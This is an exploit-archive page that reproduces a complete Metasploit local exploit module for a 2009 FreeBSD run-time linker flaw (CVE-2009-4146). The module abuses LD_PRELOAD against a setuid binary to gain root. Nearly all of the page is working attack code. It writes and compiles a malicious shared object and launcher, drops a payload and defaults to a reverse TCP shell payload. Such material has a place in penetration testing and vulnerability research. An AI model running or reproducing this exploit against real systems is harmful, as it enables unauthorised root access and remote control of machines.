FreeBSD rtld execl() Privilege Escalation

2019.05.22
Credit: stealth
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'FreeBSD rtld execl() Privilege Escalation', 'Description' => %q{ This module exploits a vulnerability in the FreeBSD run-time link-editor (rtld). The rtld `unsetenv()` function fails to remove `LD_*` environment variables if `__findenv()` fails. This can be abused to load arbitrary shared objects using `LD_PRELOAD`, resulting in privileged code execution. This module has been tested successfully on: FreeBSD 7.2-RELEASE (amd64); and FreeBSD 8.0-RELEASE (amd64). }, 'License' => MSF_LICENSE, 'Author' => [ 'Kingcope', # Independent discovery, public disclosure, and exploit 'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824) 'bcoles' # Metasploit (using Kingcope's exploit code [modified]) ], 'DisclosureDate' => '2009-11-30', 'Platform' => ['bsd'], # FreeBSD 'Arch' => [ ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'SessionTypes' => ['shell'], 'References' => [ ['BID', '37154'], ['CVE', '2009-4146'], ['CVE', '2009-4147'], ['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'], ['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'], ['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'], ['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'], ['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'], ['URL', 'https://securitytracker.com/id/1023250'] ], 'Targets' => [['Automatic', {}]], 'DefaultOptions' => { 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp', 'PrependSetresuid' => true, 'PrependSetresgid' => true, 'PrependFork' => true, 'WfsDelay' => 10 }, 'DefaultTarget' => 0)) register_options [ OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ]) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]), OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) ] end def base_dir datastore['WritableDir'].to_s end def suid_exe_path datastore['SUID_EXECUTABLE'] end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data register_file_for_cleanup path end def is_root? (cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0') end def check kernel_release = cmd_exec('uname -r').to_s unless kernel_release =~ /^(7\.[012]|8\.0)/ vprint_error "FreeBSD version #{kernel_release} is not vulnerable" return CheckCode::Safe end vprint_good "FreeBSD version #{kernel_release} appears vulnerable" unless command_exists? 'gcc' vprint_error 'gcc is not installed' return CheckCode::Safe end print_good 'gcc is installed' unless setuid? suid_exe_path vprint_error "#{suid_exe_path} is not setuid" return CheckCode::Detected end vprint_good "#{suid_exe_path} is setuid" CheckCode::Appears end def exploit unless check == CheckCode::Appears unless datastore['ForceExploit'] fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' end print_warning 'Target does not appear to be vulnerable' end if is_root? unless datastore['ForceExploit'] fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' end end unless writable? base_dir fail_with Failure::BadConfig, "#{base_dir} is not writable" end if base_dir.length > 1_000 fail_with Failure::BadConfig, "#{base_dir} path length #{base_dir.length} is larger than 1,000" end payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" executable_data = <<-EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> void _init() { extern char **environ; environ=NULL; system("#{payload_path} &"); } EOF executable_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload "#{executable_path}.c", executable_data output = cmd_exec "gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall" register_file_for_cleanup "#{executable_path}.o" unless output.blank? print_error output fail_with Failure::Unknown, "#{executable_path}.c failed to compile" end lib_name = ".#{rand_text_alphanumeric 5..10}" lib_path = "#{base_dir}/#{lib_name}" output = cmd_exec "gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles" register_file_for_cleanup "#{lib_path}.0" unless output.blank? print_error output fail_with Failure::Unknown, "#{executable_path}.o failed to compile" end exploit_data = <<-EOF #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main() { extern char **environ; environ = (char**)calloc(8096, sizeof(char)); environ[0] = (char*)calloc(1024, sizeof(char)); environ[1] = (char*)calloc(1024, sizeof(char)); strcpy(environ[1], "LD_PRELOAD=#{lib_path}.0"); return execl("#{suid_exe_path}", "", (char *)0); } EOF exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" upload "#{exploit_path}.c", exploit_data output = cmd_exec "gcc #{exploit_path}.c -o #{exploit_path} -Wall" register_file_for_cleanup exploit_path unless output.blank? print_error output fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" end upload payload_path, generate_payload_exe chmod payload_path print_status 'Launching exploit...' output = cmd_exec exploit_path output.each_line { |line| vprint_status line.chomp } end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top